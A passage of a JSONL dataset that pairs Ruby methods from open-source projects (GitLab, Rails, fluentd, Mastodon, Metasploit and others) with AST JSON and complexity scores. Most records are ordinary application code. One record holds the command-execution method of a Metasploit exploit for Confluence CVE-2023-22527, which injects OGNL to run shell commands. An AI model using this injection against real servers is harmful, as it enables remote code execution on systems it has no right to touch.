pe\":\"ivar\",\"children\":[\"@record\"]},\"reload\"]}]}]}","id":"99859f9e-cde1-407f-a47b-45b770ec2688"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/blob_helper.rb","start_line":104,"raw_source":"def blob_raw_url(**kwargs)\n    if @build && @entry\n      raw_project_job_artifacts_url(@project, @build, path: @entry.path, **kwargs)\n    elsif @snippet\n      gitlab_raw_snippet_url(@snippet)\n    elsif @blob\n      project_raw_url(@project, @id, **kwargs)\n    end\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"blob_raw_url\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@build\"]},{\"type\":\"ivar\",\"children\":[\"@entry\"]}]},{\"type\":\"send\",\"children\":[null,\"raw_project_job_artifacts_url\",{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"ivar\",\"children\":[\"@build\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@entry\"]},\"path\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@snippet\"]},{\"type\":\"send\",\"children\":[null,\"gitlab_raw_snippet_url\",{\"type\":\"ivar\",\"children\":[\"@snippet\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@blob\"]},{\"type\":\"send\",\"children\":[null,\"project_raw_url\",{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"ivar\",\"children\":[\"@id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]}]}]},null]}]}]}]}","id":"a1e9bb47-602c-43d2-9de3-830fb5ee48f4"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/out_file.rb","start_line":216,"raw_source":"def write(chunk)\n      path = extract_placeholders(@path_template, chunk)\n      FileUtils.mkdir_p File.dirname(path), mode: @dir_perm\n\n      writer = case\n                when @compress_method.nil?\n                  method(:write_without_compression)\n                when @compress_method != :text\n                  if @buffer.compress == :text || @recompress\n                    method(:write_with_compression).curry.call(@compress_method)\n                  else\n                    method(:write_from_compressed_chunk).curry.call(@compress_method)\n                  end\n                else\n                  raise \"BUG: unknown compression method #{@compress_method}\"\n                end\n\n      if @append\n        if @need_lock\n          acquire_worker_lock(path) do\n            writer.call(path, chunk)\n          end\n        else\n          writer.call(path, chunk)\n        end\n      else\n        find_filepath_available(path, with_lock: @need_lock) do |actual_path|\n          writer.call(actual_path, chunk)\n          path = actual_path\n        end\n      end\n\n      @last_written_path = path\n    end","complexity_score":40.1,"ast_json":"{\"type\":\"def\",\"children\":[\"write\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chunk\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"extract_placeholders\",{\"type\":\"ivar\",\"children\":[\"@path_template\"]},{\"type\":\"lvar\",\"children\":[\"chunk\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"ivar\",\"children\":[\"@dir_perm\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"writer\",{\"type\":\"case\",\"children\":[null,{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@compress_method\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"write_without_compression\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@compress_method\"]},\"!=\",{\"type\":\"sym\",\"children\":[\"text\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@buffer\"]},\"compress\"]},\"==\",{\"type\":\"sym\",\"children\":[\"text\"]}]},{\"type\":\"ivar\",\"children\":[\"@recompress\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"write_with_compression\"]}]},\"curry\"]},\"call\",{\"type\":\"ivar\",\"children\":[\"@compress_method\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"write_from_compressed_chunk\"]}]},\"curry\"]},\"call\",{\"type\":\"ivar\",\"children\":[\"@compress_method\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"BUG: unknown compression method \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@compress_method\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@append\"]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@need_lock\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"acquire_worker_lock\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"writer\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"chunk\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"writer\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"chunk\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_filepath_available\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with_lock\"]},{\"type\":\"ivar\",\"children\":[\"@need_lock\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"actual_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"writer\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"actual_path\"]},{\"type\":\"lvar\",\"children\":[\"chunk\"]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"lvar\",\"children\":[\"actual_path\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@last_written_path\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"24d7ee34-31b1-4b7f-a1fc-904209379b1a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/settings/mirroring_repositories.rb","start_line":41,"raw_source":"def repository_url=(value)\n            click_element 'add-new-mirror'\n            fill_element 'mirror-repository-url-field', value\n          end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"repository_url=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"add-new-mirror\"]}]},{\"type\":\"send\",\"children\":[null,\"fill_element\",{\"type\":\"str\",\"children\":[\"mirror-repository-url-field\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"34a33e97-fea7-4dbf-9f0a-9ac58b00e991"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/ndmp_socket.rb","start_line":79,"raw_source":"def raw_send(*args)\n    @sock.send(*args)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_send\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sock\"]},\"send\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}","id":"04489a78-dcc0-43c2-b323-182dceffaca0"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/lib/reverse_etl/extractors/test_sync_extractor.rb","start_line":62,"raw_source":"def build_new_model(existing_model, new_query)\n        Model.new(\n          name: existing_model.name,\n          query: new_query,\n          query_type: existing_model.query_type,\n          primary_key: existing_model.primary_key\n        )\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"build_new_model\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"existing_model\"]},{\"type\":\"arg\",\"children\":[\"new_query\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Model\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_model\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"lvar\",\"children\":[\"new_query\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_model\"]},\"query_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"primary_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_model\"]},\"primary_key\"]}]}]}]}]}","id":"bef97900-e0b3-4939-9298-ba24febfba2e"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/line_items_controller.rb","start_line":104,"raw_source":"def destroy_service\n        Spree::Dependencies.line_item_destroy_service.constantize\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Dependencies\"]},\"line_item_destroy_service\"]},\"constantize\"]}]}","id":"4e09f2e5-a1b8-422e-b565-8214925d0028"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/presenters/export_summary.rb","start_line":60,"raw_source":"def populate_counts\n    {\n      blocks: account_blocking.async_count,\n      bookmarks: account_bookmarks.async_count,\n      domain_blocks: account_domain_blocks.async_count,\n      owned_lists: account_owned_lists.async_count,\n      muting: account_muting.async_count,\n      storage: account_media_attachments.async_sum(:file_file_size),\n    }\n  end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"populate_counts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blocks\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account_blocking\"]},\"async_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bookmarks\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account_bookmarks\"]},\"async_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain_blocks\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account_domain_blocks\"]},\"async_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"owned_lists\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account_owned_lists\"]},\"async_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"muting\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account_muting\"]},\"async_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account_media_attachments\"]},\"async_sum\",{\"type\":\"sym\",\"children\":[\"file_file_size\"]}]}]}]}]}","id":"df8ab4e3-a89a-4126-beef-327b6b0a3c49"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/exploit/java_deserializer.rb","start_line":35,"raw_source":"def run(options = {})\n    if file.nil?\n      print_error(\"file path with serialized java stream required\")\n      return\n    end\n\n    print_status(\"Deserializing...\")\n    print_line\n\n    begin\n      f = File.new(file, 'rb')\n      stream = Rex::Java::Serialization::Model::Stream.decode(f)\n      f.close\n    rescue ::Exception => e\n      print_exception(e)\n      return\n    end\n\n    if options[:array]\n      print_array(stream.contents[options[:array].to_i])\n    elsif options[:object]\n      print_object(stream.contents[options[:object].to_i])\n    else\n      puts stream\n    end\n  end","complexity_score":38.1,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"file path with serialized java stream required\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Deserializing...\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"f\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"file\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"stream\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Java\"]},\"Serialization\"]},\"Model\"]},\"Stream\"]},\"decode\",{\"type\":\"lvar\",\"children\":[\"f\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"close\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"return\",\"children\":[]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"array\"]}]},{\"type\":\"send\",\"children\":[null,\"print_array\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"contents\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"array\"]}]},\"to_i\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"object\"]}]},{\"type\":\"send\",\"children\":[null,\"print_object\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stream\"]},\"contents\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"object\"]}]},\"to_i\"]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"lvar\",\"children\":[\"stream\"]}]}]}]}]}]}","id":"4b2ae754-5876-4c23-bf08-a9ac595ea78e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22527.rb","start_line":122,"raw_source":"def execute_command(cmd, _opts = {})\n    param = rand_text_alphanumeric(6..10)\n    # reference a parameter in the OGNL to work around the 200 character length limit\n    ognl = <<~OGNL.gsub(/^\\s+/, '').tr(\"\\n\", '')\n      (new freemarker.template.utility.Execute()).exec(\n        {@org.apache.struts2.ServletActionContext@getRequest().getParameter('#{param}')}\n      )\n    OGNL\n\n    if target['Platform'] == 'win'\n      vars_post = { param => \"cmd.exe /c \\\"#{cmd}\\\"\" }\n    else\n      # the command is executed via Runtime.exec, so sh -c \"#{cmd}\" will not work with all payloads\n      # see: https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html?m=1\n      vars_post = { param => \"sh -c $@|sh . echo #{cmd}\" }\n    end\n\n    inject_ognl(ognl, 'vars_post' => vars_post)\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"param\",{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ognl\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(new freemarker.template.utility.Execute()).exec(\\n\"]},{\"type\":\"str\",\"children\":[\"  {@org.apache.struts2.ServletActionContext@getRequest().getParameter('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"param\"]}]},{\"type\":\"str\",\"children\":[\"')}\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\s+\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},\"tr\",{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Platform\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"lvasgn\",\"children\":[\"vars_post\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"param\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cmd.exe /c \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vars_post\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"param\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"sh -c $@|sh . echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"inject_ognl\",{\"type\":\"lvar\",\"children\":[\"ognl\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"lvar\",\"children\":[\"vars_post\"]}]}]}]}]}]}","id":"1175d3f7-a03f-4c2b-bffb-9c6e08e59f68"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/lib/active_storage/service/configurator.rb","start_line":11,"raw_source":"def initialize(configurations)\n      @configurations = configurations.deep_symbolize_keys\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"configurations\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@configurations\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"configurations\"]},\"deep_symbolize_keys\"]}]}]}","id":"7c55686c-1e10-4241-9262-a005660872ee"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/base/teamcity.rb","start_line":87,"raw_source":"def calculate_reactive_cache(sha, _ref)\n          response = get_path(\"httpAuth/app/rest/builds/branch:unspecified:any,revision:#{sha}\")\n\n          if response\n            { build_page: read_build_page(response), commit_status: read_commit_status(response) }\n          else\n            { build_page: teamcity_url, commit_status: :error }\n          end\n        end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_reactive_cache\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sha\"]},{\"type\":\"arg\",\"children\":[\"_ref\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"get_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"httpAuth/app/rest/builds/branch:unspecified:any,revision:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sha\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"build_page\"]},{\"type\":\"send\",\"children\":[null,\"read_build_page\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit_status\"]},{\"type\":\"send\",\"children\":[null,\"read_commit_status\",{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"build_page\"]},{\"type\":\"send\",\"children\":[null,\"teamcity_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"commit_status\"]},{\"type\":\"sym\",\"children\":[\"error\"]}]}]}]}]}]}","id":"a28646c4-0f1e-48ea-8326-0f83d0c133f0"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/change_table_test.rb","start_line":41,"raw_source":"def test_remove_references_column_type_removes_id\n        with_change_table do |t|\n          expect :remove_reference, nil, [:delete_me, :customer]\n          t.remove_references :customer\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_remove_references_column_type_removes_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_change_table\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"sym\",\"children\":[\"remove_reference\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete_me\"]},{\"type\":\"sym\",\"children\":[\"customer\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"remove_references\",{\"type\":\"sym\",\"children\":[\"customer\"]}]}]}]}]}","id":"a95f3c52-bcff-418d-a5e6-07aa952eef42"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/structured_event_subscriber_test.rb","start_line":243,"raw_source":"def test_render_partial_with_cache_hit_and_missed\n      Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do\n        set_view_cache_dependencies\n        set_cache_controller\n\n        with_debug_event_reporting do\n          assert_event_reported(\"action_view.render_partial\", payload: { identifier: \"test/_cached_customer.erb\", layout: nil, cache_hit: :miss }) do\n            @view.render(partial: \"test/cached_customer\", locals: { cached_customer: Customer.new(\"david\") })\n          end\n          assert_event_reported(\"action_view.render_partial\", payload: { identifier: \"test/_cached_customer.erb\", layout: nil, cache_hit: :hit }) do\n            @view.render(partial: \"test/cached_customer\", locals: { cached_customer: Customer.new(\"david\") })\n          end\n\n          assert_event_reported(\"action_view.render_partial\", payload: { identifier: \"test/_cached_customer.erb\", layout: nil, cache_hit: :miss }) do\n            @view.render(partial: \"test/cached_customer\", locals: { cached_customer: Customer.new(\"Stan\") })\n          end\n        end\n      end\n    end","complexity_score":26.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_partial_with_cache_hit_and_missed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"const\",\"children\":[null,\"FIXTURE_LOAD_PATH\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_view_cache_dependencies\"]},{\"type\":\"send\",\"children\":[null,\"set_cache_controller\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_debug_event_reporting\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_event_reported\",{\"type\":\"str\",\"children\":[\"action_view.render_partial\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"identifier\"]},{\"type\":\"str\",\"children\":[\"test/_cached_customer.erb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cache_hit\"]},{\"type\":\"sym\",\"children\":[\"miss\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"str\",\"children\":[\"test/cached_customer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cached_customer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Customer\"]},\"new\",{\"type\":\"str\",\"children\":[\"david\"]}]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_event_reported\",{\"type\":\"str\",\"children\":[\"action_view.render_partial\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"identifier\"]},{\"type\":\"str\",\"children\":[\"test/_cached_customer.erb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cache_hit\"]},{\"type\":\"sym\",\"children\":[\"hit\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"str\",\"children\":[\"test/cached_customer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cached_customer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Customer\"]},\"new\",{\"type\":\"str\",\"children\":[\"david\"]}]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_event_reported\",{\"type\":\"str\",\"children\":[\"action_view.render_partial\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]